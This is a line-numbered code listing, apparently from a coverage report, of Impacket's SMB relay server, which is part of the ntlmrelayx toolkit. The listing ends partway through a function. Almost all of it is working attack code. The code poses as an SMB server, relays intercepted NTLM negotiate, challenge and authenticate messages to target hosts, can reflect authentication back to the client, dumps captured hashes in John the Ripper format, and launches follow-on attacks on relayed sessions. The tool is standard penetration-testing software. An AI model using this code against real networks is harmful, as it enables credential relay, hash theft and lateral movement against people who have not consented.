Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# SMB Relay Server 

11# 

12# This is the SMB server which relays the connections 

13# to other protocols 

14# 

15# Authors: 

16# Alberto Solino (@agsolino) 

17# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

18# 

19from __future__ import division 

20from __future__ import print_function 

21from threading import Thread 

22try: 

23 import ConfigParser 

24except ImportError: 

25 import configparser as ConfigParser 

26import struct 

27import logging 

28import time 

29import calendar 

30import random 

31import string 

32import socket 

33import ntpath 

34 

35from binascii import hexlify, unhexlify 

36from six import b 

37from impacket import smb, ntlm, LOG, smb3 

38from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED 

39from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech 

40from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile 

41from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH 

42from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 

43from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 

44from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString 

45 

46class SMBRelayServer(Thread): 

47 def __init__(self,config): 

48 Thread.__init__(self) 

49 self.daemon = True 

50 self.server = 0 

51 #Config object 

52 self.config = config 

53 #Current target IP 

54 self.target = None 

55 #Targets handler 

56 self.targetprocessor = self.config.target 

57 #Username we auth as gets stored here later 

58 self.authUser = None 

59 self.proxyTranslator = None 

60 

61 # Here we write a mini config for the server 

62 smbConfig = ConfigParser.ConfigParser() 

63 smbConfig.add_section('global') 

64 smbConfig.set('global','server_name','server_name') 

65 smbConfig.set('global','server_os','UNIX') 

66 smbConfig.set('global','server_domain','WORKGROUP') 

67 smbConfig.set('global','log_file','smb.log') 

68 smbConfig.set('global','credentials_file','') 

69 

70 if self.config.smb2support is True: 

71 smbConfig.set("global", "SMB2Support", "True") 

72 else: 

73 smbConfig.set("global", "SMB2Support", "False") 

74 

75 smbConfig.set("global", "anonymous_logon", "False") 

76 

77 if self.config.outputFile is not None: 

78 smbConfig.set('global','jtr_dump_path',self.config.outputFile) 

79 

80 if self.config.SMBServerChallenge is not None: 

81 smbConfig.set('global', 'challenge', self.config.SMBServerChallenge) 

82 

83 # IPC always needed 

84 smbConfig.add_section('IPC$') 

85 smbConfig.set('IPC$','comment','') 

86 smbConfig.set('IPC$','read only','yes') 

87 smbConfig.set('IPC$','share type','3') 

88 smbConfig.set('IPC$','path','') 

89 

90 # Change address_family to IPv6 if this is configured 

91 if self.config.ipv6: 

92 SMBSERVER.address_family = socket.AF_INET6 

93 

94 # changed to dereference configuration interfaceIp 

95 if self.config.listeningPort: 

96 smbport = self.config.listeningPort 

97 else: 

98 smbport = 445 

99 

100 self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig) 

101 logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) 

102 

103 self.server.processConfigFile() 

104 

105 self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) 

106 self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) 

107 self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) 

108 

109 self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate) 

110 self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) 

111 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect) 

112 # Let's use the SMBServer Connection dictionary to keep track of our client connections as well 

113 #TODO: See if this is the best way to accomplish this 

114 

115 # changed to dereference configuration interfaceIp 

116 self.server.addConnection('SMBRelay', config.interfaceIp, 445) 

117 

118 ### SMBv2 Part ################################################################# 

119 def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): 

120 connData = smbServer.getConnectionData(connId, checkStatus=False) 

121 

122 respPacket = smb3.SMB2Packet() 

123 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR 

124 respPacket['Status'] = STATUS_SUCCESS 

125 respPacket['CreditRequestResponse'] = 1 

126 respPacket['Command'] = smb3.SMB2_NEGOTIATE 

127 respPacket['SessionID'] = 0 

128 

129 if isSMB1 is False: 

130 respPacket['MessageID'] = recvPacket['MessageID'] 

131 else: 

132 respPacket['MessageID'] = 0 

133 

134 respPacket['TreeID'] = 0 

135 

136 respSMBCommand = smb3.SMB2Negotiate_Response() 

137 

138 # Just for the Nego Packet, then disable it 

139 respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED 

140 

141 if isSMB1 is True: 

142 # Let's first parse the packet to see if the client supports SMB2 

143 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) 

144 

145 dialects = SMBCommand['Data'].split(b'\x02') 

146 if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: 

147 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 

148 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 

149 else: 

150 # Client does not support SMB2 fallbacking 

151 raise Exception('Client does not support SMB2, fallbacking') 

152 else: 

153 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 

154 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 

155 

156 respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)])) 

157 respSMBCommand['Capabilities'] = 0 

158 respSMBCommand['MaxTransactSize'] = 65536 

159 respSMBCommand['MaxReadSize'] = 65536 

160 respSMBCommand['MaxWriteSize'] = 65536 

161 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) 

162 respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) 

163 respSMBCommand['SecurityBufferOffset'] = 0x80 

164 

165 blob = SPNEGO_NegTokenInit() 

166 blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], 

167 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 

168 

169 

170 respSMBCommand['Buffer'] = blob.getData() 

171 respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) 

172 

173 respPacket['Data'] = respSMBCommand 

174 

175 smbServer.setConnectionData(connId, connData) 

176 

177 return None, [respPacket], STATUS_SUCCESS 

178 

179 

180 def SmbSessionSetup(self, connId, smbServer, recvPacket): 

181 connData = smbServer.getConnectionData(connId, checkStatus = False) 

182 

183 ############################################################# 

184 # SMBRelay 

185 # Are we ready to relay or should we just do local auth? 

186 if 'relayToHost' not in connData: 

187 # Just call the original SessionSetup 

188 respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket) 

189 # We remove the Guest flag 

190 if 'SessionFlags' in respCommands[0].fields: 

191 respCommands[0]['SessionFlags'] = 0x00 

192 return respCommands, respPackets, errorCode 

193 

194 # We have confirmed we want to relay to the target host. 

195 respSMBCommand = smb3.SMB2SessionSetup_Response() 

196 sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) 

197 

198 connData['Capabilities'] = sessionSetupData['Capabilities'] 

199 

200 securityBlob = sessionSetupData['Buffer'] 

201 

202 rawNTLM = False 

203 if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: 

204 # NEGOTIATE packet 

205 blob = SPNEGO_NegTokenInit(securityBlob) 

206 token = blob['MechToken'] 

207 if len(blob['MechTypes'][0]) > 0: 

208 # Is this GSSAPI NTLM or something else we don't support? 

209 mechType = blob['MechTypes'][0] 

210 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ 

211 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: 

212 # Nope, do we know it? 

213 if mechType in MechTypes: 

214 mechStr = MechTypes[mechType] 

215 else: 

216 mechStr = hexlify(mechType) 

217 smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) 

218 # We don't know the token, we answer back again saying 

219 # we just support NTLM. 

220 respToken = SPNEGO_NegTokenResp() 

221 respToken['NegState'] = b'\x03' # request-mic 

222 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

223 respToken = respToken.getData() 

224 respSMBCommand['SecurityBufferOffset'] = 0x48 

225 respSMBCommand['SecurityBufferLength'] = len(respToken) 

226 respSMBCommand['Buffer'] = respToken 

227 

228 return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED 

229 elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: 

230 # AUTH packet 

231 blob = SPNEGO_NegTokenResp(securityBlob) 

232 token = blob['ResponseToken'] 

233 else: 

234 # No GSSAPI stuff, raw NTLMSSP 

235 rawNTLM = True 

236 token = securityBlob 

237 

238 # Here we only handle NTLMSSP, depending on what stage of the 

239 # authentication we are, we act on it 

240 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 

241 

242 if messageType == 0x01: 

243 # NEGOTIATE_MESSAGE 

244 negotiateMessage = ntlm.NTLMAuthNegotiate() 

245 negotiateMessage.fromString(token) 

246 # Let's store it in the connection data 

247 connData['NEGOTIATE_MESSAGE'] = negotiateMessage 

248 

249 ############################################################# 

250 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 

251 # Let's send it to the target server and send the answer back to the client. 

252 client = connData['SMBClient'] 

253 try: 

254 challengeMessage = self.do_ntlm_negotiate(client, token) 

255 except Exception as e: 

256 LOG.debug("Exception:", exc_info=True) 

257 # Log this target as processed for this client 

258 self.targetprocessor.logTarget(self.target) 

259 # Raise exception again to pass it on to the SMB server 

260 raise 

261 

262 ############################################################# 

263 

264 if rawNTLM is False: 

265 respToken = SPNEGO_NegTokenResp() 

266 # accept-incomplete. We want more data 

267 respToken['NegState'] = b'\x01' 

268 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

269 

270 respToken['ResponseToken'] = challengeMessage.getData() 

271 else: 

272 respToken = challengeMessage 

273 

274 # Setting the packet to STATUS_MORE_PROCESSING 

275 errorCode = STATUS_MORE_PROCESSING_REQUIRED 

276 # Let's set up an UID for this connection and store it 

277 # in the connection's data 

278 connData['Uid'] = random.randint(1,0xffffffff) 

279 

280 connData['CHALLENGE_MESSAGE'] = challengeMessage 

281 

282 elif messageType == 0x02: 

283 # CHALLENGE_MESSAGE 

284 raise Exception('Challenge Message raise, not implemented!') 

285 

286 elif messageType == 0x03: 

287 # AUTHENTICATE_MESSAGE, here we deal with authentication 

288 ############################################################# 

289 # SMBRelay: Ok, so now the have the Auth token, let's send it 

290 # back to the target system and hope for the best. 

291 client = connData['SMBClient'] 

292 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

293 authenticateMessage.fromString(token) 

294 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

295 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

296 

297 if rawNTLM is True: 

298 respToken2 = SPNEGO_NegTokenResp() 

299 respToken2['ResponseToken'] = securityBlob 

300 securityBlob = respToken2.getData() 

301 

302 if self.config.remove_mic: 

303 clientResponse, errorCode = self.do_ntlm_auth(client, token, 

304 connData['CHALLENGE_MESSAGE']['challenge']) 

305 else: 

306 clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, 

307 connData['CHALLENGE_MESSAGE']['challenge']) 

308 

309 if errorCode != STATUS_SUCCESS: 

310 #Log this target as processed for this client 

311 self.targetprocessor.logTarget(self.target) 

312 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) 

313 client.killConnection() 

314 else: 

315 # We have a session, create a thread and do whatever we want 

316 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) 

317 # Log this target as processed for this client 

318 self.targetprocessor.logTarget(self.target, True, self.authUser) 

319 

320 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 

321 authenticateMessage['user_name'], 

322 authenticateMessage['domain_name'], authenticateMessage['lanman'], 

323 authenticateMessage['ntlm']) 

324 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

325 

326 if self.server.getJTRdumpPath() != '': 

327 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

328 self.server.getJTRdumpPath()) 

329 

330 connData['Authenticated'] = True 

331 del(connData['relayToHost']) 

332 

333 self.do_attack(client) 

334 # Now continue with the server 

335 ############################################################# 

336 

337 if rawNTLM is False: 

338 respToken = SPNEGO_NegTokenResp() 

339 # accept-completed 

340 respToken['NegState'] = b'\x00' 

341 else: 

342 respToken = '' 

343 # Let's store it in the connection data 

344 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 

345 else: 

346 raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 

347 

348 respSMBCommand['SecurityBufferOffset'] = 0x48 

349 respSMBCommand['SecurityBufferLength'] = len(respToken) 

350 if respSMBCommand['SecurityBufferLength'] > 0: 

351 respSMBCommand['Buffer'] = respToken.getData() 

352 else: 

353 respSMBCommand['Buffer'] = '' 

354 

355 smbServer.setConnectionData(connId, connData) 

356 

357 return [respSMBCommand], None, errorCode 

358 

359 def smb2TreeConnect(self, connId, smbServer, recvPacket): 

360 connData = smbServer.getConnectionData(connId) 

361 

362 authenticateMessage = connData['AUTHENTICATE_MESSAGE'] 

363 

364 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), 

365 authenticateMessage['user_name'].decode ('utf-16le'))).upper () 

366 

367 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets 

368 # are processed. There might be a use case for this 

369 #if 'relayToHost' in connData: 

370 # # Connection already relayed, let's just answer the request (that will return object not found) 

371 # return self.origsmb2TreeConnect(connId, smbServer, recvPacket) 

372 

373 try: 

374 if self.config.mode.upper () == 'REFLECTION': 

375 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) 

376 

377 self.target = self.targetprocessor.getTarget(identity = self.authUser) 

378 if self.target is None: 

379 # No more targets to process, just let the victim to fail later 

380 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % 

381 (connId, self.authUser, connData['ClientIP'])) 

382 return self.origsmb2TreeConnect (connId, smbServer, recvPacket) 

383 

384 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, 

385 connData['ClientIP'], self.target.scheme, self.target.netloc)) 

386 

387 if self.config.mode.upper() == 'REFLECTION': 

388 # Force standard security when doing reflection 

389 LOG.debug("Downgrading to standard security") 

390 extSec = False 

391 #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 

392 else: 

393 extSec = True 

394 # Init the correct client for our target 

395 client = self.init_client(extSec) 

396 except Exception as e: 

397 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 

398 self.targetprocessor.logTarget(self.target) 

399 else: 

400 connData['relayToHost'] = True 

401 connData['Authenticated'] = False 

402 del (connData['NEGOTIATE_MESSAGE']) 

403 del (connData['CHALLENGE_MESSAGE']) 

404 del (connData['AUTHENTICATE_MESSAGE']) 

405 connData['SMBClient'] = client 

406 connData['EncryptionKey'] = client.getStandardSecurityChallenge() 

407 smbServer.setConnectionData(connId, connData) 

408 

409 respPacket = smb3.SMB2Packet() 

410 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR 

411 respPacket['Status'] = STATUS_SUCCESS 

412 respPacket['CreditRequestResponse'] = 1 

413 respPacket['Command'] = recvPacket['Command'] 

414 respPacket['SessionID'] = connData['Uid'] 

415 respPacket['Reserved'] = recvPacket['Reserved'] 

416 respPacket['MessageID'] = recvPacket['MessageID'] 

417 respPacket['TreeID'] = recvPacket['TreeID'] 

418 

419 respSMBCommand = smb3.SMB2TreeConnect_Response() 

420 

421 # This is the key, force the client to reconnect. 

422 # It will loop until all targets are processed for this user 

423 errorCode = STATUS_NETWORK_SESSION_EXPIRED 

424 

425 

426 respPacket['Status'] = errorCode 

427 respSMBCommand['Capabilities'] = 0 

428 respSMBCommand['MaximalAccess'] = 0x000f01ff 

429 

430 respPacket['Data'] = respSMBCommand 

431 

432 # Sign the packet if needed 

433 if connData['SignatureEnabled']: 

434 smbServer.signSMBv2(respPacket, connData['SigningSessionKey']) 

435 

436 smbServer.setConnectionData(connId, connData) 

437 

438 return None, [respPacket], errorCode 

439 

440 ################################################################################ 

441 

442 ### SMBv1 Part ################################################################# 

443 def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): 

444 connData = smbServer.getConnectionData(connId, checkStatus = False) 

445 if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: 

446 if self.config.mode.upper() == 'REFLECTION': 

447 # Force standard security when doing reflection 

448 LOG.debug("Downgrading to standard security") 

449 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 

450 

451 return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) 

452 ############################################################# 

453 

454 def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): 

455 

456 connData = smbServer.getConnectionData(connId, checkStatus = False) 

457 

458 ############################################################# 

459 # SMBRelay 

460 # Are we ready to relay or should we just do local auth? 

461 if 'relayToHost' not in connData: 

462 # Just call the original SessionSetup 

463 return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) 

464 

465 # We have confirmed we want to relay to the target host. 

466 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 

467 

468 if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: 

469 # Extended security. Here we deal with all SPNEGO stuff 

470 respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() 

471 respData = smb.SMBSessionSetupAndX_Extended_Response_Data() 

472 sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) 

473 sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() 

474 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] 

475 sessionSetupData.fromString(SMBCommand['Data']) 

476 connData['Capabilities'] = sessionSetupParameters['Capabilities'] 

477 

478 rawNTLM = False 

479 if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: 

480 # If there no GSSAPI ID, it must be an AUTH packet 

481 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) 

482 token = blob['ResponseToken'] 

483 else: 

484 # NEGOTIATE packet 

485 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) 

486 token = blob['MechToken'] 

487 

488 # Here we only handle NTLMSSP, depending on what stage of the 

489 # authentication we are, we act on it 

490 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 

491 

492 if messageType == 0x01: 

493 # NEGOTIATE_MESSAGE 

494 negotiateMessage = ntlm.NTLMAuthNegotiate() 

495 negotiateMessage.fromString(token) 

496 # Let's store it in the connection data 

497 connData['NEGOTIATE_MESSAGE'] = negotiateMessage 

498 

499 ############################################################# 

500 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 

501 # Let's send it to the target server and send the answer back to the client. 

502 client = connData['SMBClient'] 

503 try: 

504 challengeMessage = self.do_ntlm_negotiate(client,token) 

505 except Exception: 

506 # Log this target as processed for this client 

507 self.targetprocessor.logTarget(self.target) 

508 # Raise exception again to pass it on to the SMB server 

509 raise 

510 

511 ############################################################# 

512 

513 respToken = SPNEGO_NegTokenResp() 

514 # accept-incomplete. We want more data 

515 respToken['NegState'] = b'\x01' 

516 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

517 respToken['ResponseToken'] = challengeMessage.getData() 

518 

519 # Setting the packet to STATUS_MORE_PROCESSING 

520 errorCode = STATUS_MORE_PROCESSING_REQUIRED 

521 

522 # Let's set up an UID for this connection and store it 

523 # in the connection's data 

524 # Picking a fixed value 

525 # TODO: Manage more UIDs for the same session 

526 connData['Uid'] = 10 

527 

528 connData['CHALLENGE_MESSAGE'] = challengeMessage 

529 

530 elif messageType == 0x03: 

531 # AUTHENTICATE_MESSAGE, here we deal with authentication 

532 ############################################################# 

533 # SMBRelay: Ok, so now the have the Auth token, let's send it 

534 # back to the target system and hope for the best. 

535 client = connData['SMBClient'] 

536 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

537 authenticateMessage.fromString(token) 

538 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

539 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

540 

541 clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'], 

542 connData['CHALLENGE_MESSAGE']['challenge']) 

543 

544 if errorCode != STATUS_SUCCESS: 

545 # Let's return what the target returned, hope the client connects back again 

546 packet = smb.NewSMBPacket() 

547 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 

548 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 

549 packet['Command'] = recvPacket['Command'] 

550 packet['Pid'] = recvPacket['Pid'] 

551 packet['Tid'] = recvPacket['Tid'] 

552 packet['Mid'] = recvPacket['Mid'] 

553 packet['Uid'] = recvPacket['Uid'] 

554 packet['Data'] = b'\x00\x00\x00' 

555 packet['ErrorCode'] = errorCode >> 16 

556 packet['ErrorClass'] = errorCode & 0xff 

557 

558 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) 

559 

560 #Log this target as processed for this client 

561 self.targetprocessor.logTarget(self.target) 

562 

563 client.killConnection() 

564 

565 return None, [packet], errorCode 

566 else: 

567 # We have a session, create a thread and do whatever we want 

568 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) 

569 

570 # Log this target as processed for this client 

571 self.targetprocessor.logTarget(self.target, True, self.authUser) 

572 

573 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 

574 authenticateMessage['user_name'], 

575 authenticateMessage['domain_name'], 

576 authenticateMessage['lanman'], authenticateMessage['ntlm']) 

577 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

578 

579 if self.server.getJTRdumpPath() != '': 

580 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

581 self.server.getJTRdumpPath()) 

582 

583 self.do_attack(client) 

584 # Now continue with the server 

585 ############################################################# 

586 

587 respToken = SPNEGO_NegTokenResp() 

588 # accept-completed 

589 respToken['NegState'] = b'\x00' 

590 

591 # Done with the relay for now. 

592 connData['Authenticated'] = True 

593 del(connData['relayToHost']) 

594 

595 # Status SUCCESS 

596 errorCode = STATUS_SUCCESS 

597 # Let's store it in the connection data 

598 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 

599 else: 

600 raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 

601 

602 respParameters['SecurityBlobLength'] = len(respToken) 

603 

604 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 

605 respData['SecurityBlob'] = respToken.getData() 

606 

607 else: 

608 # Process Standard Security 

609 #TODO: Fix this for other protocols than SMB [!] 

610 respParameters = smb.SMBSessionSetupAndXResponse_Parameters() 

611 respData = smb.SMBSessionSetupAndXResponse_Data() 

612 sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) 

613 sessionSetupData = smb.SMBSessionSetupAndX_Data() 

614 sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] 

615 sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] 

616 sessionSetupData.fromString(SMBCommand['Data']) 

617 

618 client = connData['SMBClient'] 

619 _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) 

620 

621 if errorCode != STATUS_SUCCESS: 

622 # Let's return what the target returned, hope the client connects back again 

623 packet = smb.NewSMBPacket() 

624 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 

625 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 

626 packet['Command'] = recvPacket['Command'] 

627 packet['Pid'] = recvPacket['Pid'] 

628 packet['Tid'] = recvPacket['Tid'] 

629 packet['Mid'] = recvPacket['Mid'] 

630 packet['Uid'] = recvPacket['Uid'] 

631 packet['Data'] = b'\x00\x00\x00' 

632 packet['ErrorCode'] = errorCode >> 16 

633 packet['ErrorClass'] = errorCode & 0xff 

634 

635 #Log this target as processed for this client 

636 self.targetprocessor.logTarget(self.target) 

637 

638 # Finish client's connection 

639 #client.killConnection() 

640 

641 return None, [packet], errorCode 

642 else: 

643 # We have a session, create a thread and do whatever we want 

644 self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() 

645 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) 

646 

647 # Log this target as processed for this client 

648 self.targetprocessor.logTarget(self.target, True, self.authUser) 

649 

650 ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], 

651 sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) 

652 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

653 

654 if self.server.getJTRdumpPath() != '': 

655 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

656 self.server.getJTRdumpPath()) 

657 

658 # Done with the relay for now. 

659 connData['Authenticated'] = True 

660 del(connData['relayToHost']) 

661 self.do_attack(client) 

662 # Now continue with the server 

663 ############################################################# 

664 

665 respData['NativeOS'] = smbServer.getServerOS() 

666 respData['NativeLanMan'] = smbServer.getServerOS() 

667 respSMBCommand['Parameters'] = respParameters 

668 respSMBCommand['Data'] = respData 

669 

670 

671 smbServer.setConnectionData(connId, connData) 

672 

673 return [respSMBCommand], None, errorCode 

674 

675 def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): 

676 connData = smbServer.getConnectionData(connId) 

677 

678 authenticateMessage = connData['AUTHENTICATE_MESSAGE'] 

679 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), 

680 authenticateMessage['user_name'].decode ('utf-16le'))).upper () 

681 

682 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets 

683 # are processed. There might be a use case for this 

684 #if 'relayToHost' in connData: 

685 # # Connection already relayed, let's just answer the request (that will return object not found) 

686 # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) 

687 

688 try: 

689 if self.config.mode.upper () == 'REFLECTION': 

690 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) 

691 

692 self.target = self.targetprocessor.getTarget(identity = self.authUser) 

693 if self.target is None: 

694 # No more targets to process, just let the victim to fail later 

695 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % 

696 (connId, self.authUser, connData['ClientIP'])) 

697 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) 

698 

699 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser, 

700 connData['ClientIP'], self.target.scheme, self.target.netloc)) 

701 

702 if self.config.mode.upper() == 'REFLECTION': 

703 # Force standard security when doing reflection 

704 LOG.debug("Downgrading to standard security") 

705 extSec = False 

706 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 

707 else: 

708 extSec = True 

709 # Init the correct client for our target 

710 client = self.init_client(extSec) 

711 except Exception as e: 

712 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 

713 self.targetprocessor.logTarget(self.target) 

714 else: 

715 connData['relayToHost'] = True 

716 connData['Authenticated'] = False 

717 del (connData['NEGOTIATE_MESSAGE']) 

718 del (connData['CHALLENGE_MESSAGE']) 

719 del (connData['AUTHENTICATE_MESSAGE']) 

720 connData['SMBClient'] = client 

721 connData['EncryptionKey'] = client.getStandardSecurityChallenge() 

722 smbServer.setConnectionData(connId, connData) 

723 

724 resp = smb.NewSMBPacket() 

725 resp['Flags1'] = smb.SMB.FLAGS1_REPLY 

726 resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ 

727 recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE 

728 

729 resp['Tid'] = recvPacket['Tid'] 

730 resp['Mid'] = recvPacket['Mid'] 

731 resp['Pid'] = connData['Pid'] 

732 

